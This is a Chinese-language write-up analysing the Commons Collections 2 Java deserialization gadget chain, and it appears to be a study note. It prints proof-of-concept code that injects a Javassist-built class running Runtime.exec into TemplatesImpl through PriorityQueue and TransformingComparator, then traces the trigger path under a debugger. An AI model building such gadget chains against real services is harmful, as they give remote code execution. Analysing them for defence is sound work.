0x01、POC分析
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
//创建一个新的public类
CtClass payload=classPool.makeClass("CommonsCollections2");
//设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet));
//创建一个空的类初始化,设置构造函数主体为
runtimepayload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
首先是通过getDefault
创建一个CtClass对象的容器,然后appendClassPath()
来添加添加AbstractTranslet
的搜索路径;
然后创建一个public修饰的类,类名为CommonsCollection2
;通过setSuperclass
来设置父类;我们在想想看get()
方法是干嘛的?通过该文章javassist使用,可以知道是查找AbstractTranslet
类
此处总结就是:设置父类为AbstractTranslet
然后创建一个静态代码块,静态代码块中设置内容为:
java.lang.Runtime.getRuntime().exec("calc");
第二部分
//反射创建TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射获取templatesImpl的_bytecodes字段
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
///将templatesImpl上的_bytecodes字段设置为runtime的byte数组
field.set(templatesImpl,new byte[][]{bytes});
//反射获取templatesImpl的_name字段
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
//将templatesImpl上的_name字段设置为test
field1.set(templatesImpl,"test");
然后通过反射创建,通过实例化调用了构造无参构造,然后newInstance()
来实例化对象,通过反射获取private修饰的_bytecodes
属性;获取私有的时候需要使用暴力反射;
然后将反射获取的_bytecodes
变量赋值为bytes
变量
而bytes
是payload.toBytecode()
,而payload是CommonsCollections2
类的内容;将templatesImpl
上的_bytecodes
字段设置为CommonsCollections2
类的的byte
数组;
然后再通过反射获取到private
修饰的_name
变量,最后通过反射设置该变量的值为test
;
第三部分
InvokerTransformer transformer=new InvokerTransformer("newTransformer",
new Class[]{},
new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
而我们通过cc1知道,InvokerTransformer
第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表;接着获取了 InvokerTransformer
实例对象.
所以这边是去调用了newTransformer
这个方法,后面再细讲;然后TransformingComparator
的compare
方法会去调用传入参数的transform
方法。
第四部分
//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
构造参数有三种,然后我们这是第二种,自定义容量大小;然后将指定的元素插入此优先级队列,默认是升序排列;
此处是实验代码~~~,由于本人懒,就不单独写,直接修改一下下;
然后通过反射,去获取comparator
变量,并且最后在comparator
变量设置值为comparator
;
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
最后步骤一样,设置queue
变量为Object数组,内容为templatesImpl;最后就是输出序列化流
0x02、POC调试
最后我们分析一下,看看是怎么触发漏洞的
我们通过yso利用链中,可以知道这个入口函数在此处
PriorityQueue.readObject()
那么我们在此处下个断点,然后进行调试,然后我们不断的F8,看看会运行到哪里
-
调用默认的
ObjectInputStream.defaultReadObject()
方法 , 反序列化数据流 -
调用
ObjectInputStream.readInt()
方法读取优先级队列的长度这里读取后立刻丢弃 , 没有实际意义.
-
循环读取数组 queue 的内容
这里与
PriorityQueue.writeObject()
方法对应 . 读取 queue 数组的内容
运行到底部这边,它会调用这个heapify()
方法,不然就这么结束了吗?所以我们F7再进去看看
PriorityQueue.heapify() 方法用于构造二叉堆
而关于这个二叉堆的细节,可以看看这篇文章,heapify
函数中会循环寻找最后一个非叶子节点 , 然后倒序调用 siftDown()
方法;那我们继续F7跟进查看
此处x的值,为queue[0]
;因为这边是heapify()
调用的
然后前面我们是把queue
进行序列化的,然后queue
存储的是恶意类;comparator
是被TransformingComparator
修饰过的InvokerTransformer
实例化对象。
所以理所应当的进入了siftDownUsingComparator()
方法中。
跟进到siftDownUsingComparator
方法里面,发现方法会去调用comparator的compare,因为我们这里的compare
是被TransformingComparator
修饰过的InvokerTransformer
实例化对象。所以这里调用的就是TransformingComparator
的compare
。
我们f7进入查看方法
然后这边通过上一步compare
可以知道是两个TemplatesImpl
对象
我们跟进transform()
方法查看
这里是通过反射调用了newTransformer()
方法
总结
本篇文章分析的并不好,很大部分都是"造*",等过几天捋一捋思路,再进行文章修改,目前先保留进度;
其中遇到了一些问题,比如执行到compare
的时候就会直接跳出计算器;
https://www.guildhab.top/?p=6961#header-id-11
https://www.cnblogs.com/nice0e3/p/13860621.html#autoid-1-3-0
https://zhuanlan.zhihu.com/p/141591975